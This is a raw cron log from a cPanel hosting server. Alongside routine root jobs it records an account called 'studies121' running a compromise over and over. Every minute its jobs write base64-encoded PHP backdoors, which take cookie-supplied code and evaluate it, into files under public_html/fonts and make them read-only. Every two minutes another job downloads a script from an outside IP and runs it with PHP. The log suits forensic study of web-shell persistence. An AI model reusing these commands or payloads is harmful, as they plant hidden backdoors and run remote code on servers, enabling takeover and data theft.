Sep  4 17:02:01 ip-184-168-122-23 CROND[24868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:02:01 ip-184-168-122-23 CROND[24867]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:03:01 ip-184-168-122-23 CROND[25043]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:03:01 ip-184-168-122-23 CROND[25046]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:03:01 ip-184-168-122-23 CROND[25044]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:03:01 ip-184-168-122-23 CROND[25045]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:04:01 ip-184-168-122-23 CROND[25132]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:04:01 ip-184-168-122-23 CROND[25134]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:04:01 ip-184-168-122-23 CROND[25136]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 17:04:01 ip-184-168-122-23 CROND[25138]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:04:01 ip-184-168-122-23 CROND[25137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:05:02 ip-184-168-122-23 CROND[25250]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:05:02 ip-184-168-122-23 CROND[25252]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 17:05:02 ip-184-168-122-23 CROND[25254]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 17:05:02 ip-184-168-122-23 CROND[25251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:05:02 ip-184-168-122-23 CROND[25253]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:05:02 ip-184-168-122-23 CROND[25255]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 17:05:02 ip-184-168-122-23 CROND[25256]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:06:01 ip-184-168-122-23 CROND[25361]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:06:01 ip-184-168-122-23 CROND[25364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:06:01 ip-184-168-122-23 CROND[25363]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 17:06:01 ip-184-168-122-23 CROND[25362]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:06:01 ip-184-168-122-23 CROND[25365]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:07:01 ip-184-168-122-23 CROND[25455]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:07:01 ip-184-168-122-23 CROND[25457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:07:01 ip-184-168-122-23 CROND[25458]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:07:01 ip-184-168-122-23 CROND[25459]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:08:01 ip-184-168-122-23 CROND[25546]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:08:01 ip-184-168-122-23 CROND[25550]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:08:01 ip-184-168-122-23 CROND[25548]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 17:08:01 ip-184-168-122-23 CROND[25549]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:08:01 ip-184-168-122-23 CROND[25551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:09:02 ip-184-168-122-23 CROND[25742]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:09:02 ip-184-168-122-23 CROND[25744]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:09:02 ip-184-168-122-23 CROND[25746]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 17:09:02 ip-184-168-122-23 CROND[25747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:09:02 ip-184-168-122-23 CROND[25745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:10:01 ip-184-168-122-23 CROND[25872]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:10:01 ip-184-168-122-23 CROND[25874]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 17:10:01 ip-184-168-122-23 CROND[25873]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 17:10:01 ip-184-168-122-23 CROND[25875]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:10:01 ip-184-168-122-23 CROND[25880]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:10:01 ip-184-168-122-23 CROND[25879]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 17:10:01 ip-184-168-122-23 CROND[25878]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 17:10:02 ip-184-168-122-23 CROND[25876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:11:01 ip-184-168-122-23 CROND[25982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:11:01 ip-184-168-122-23 CROND[25983]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:11:01 ip-184-168-122-23 CROND[25987]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:11:01 ip-184-168-122-23 CROND[25986]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:12:01 ip-184-168-122-23 CROND[26074]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:12:01 ip-184-168-122-23 CROND[26076]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:12:01 ip-184-168-122-23 CROND[26077]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:12:01 ip-184-168-122-23 CROND[26078]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 17:12:01 ip-184-168-122-23 CROND[26079]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:13:01 ip-184-168-122-23 CROND[26165]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:13:01 ip-184-168-122-23 CROND[26164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:13:01 ip-184-168-122-23 CROND[26166]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:13:01 ip-184-168-122-23 CROND[26167]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:14:01 ip-184-168-122-23 CROND[26258]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 17:14:01 ip-184-168-122-23 CROND[26257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:14:01 ip-184-168-122-23 CROND[26260]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
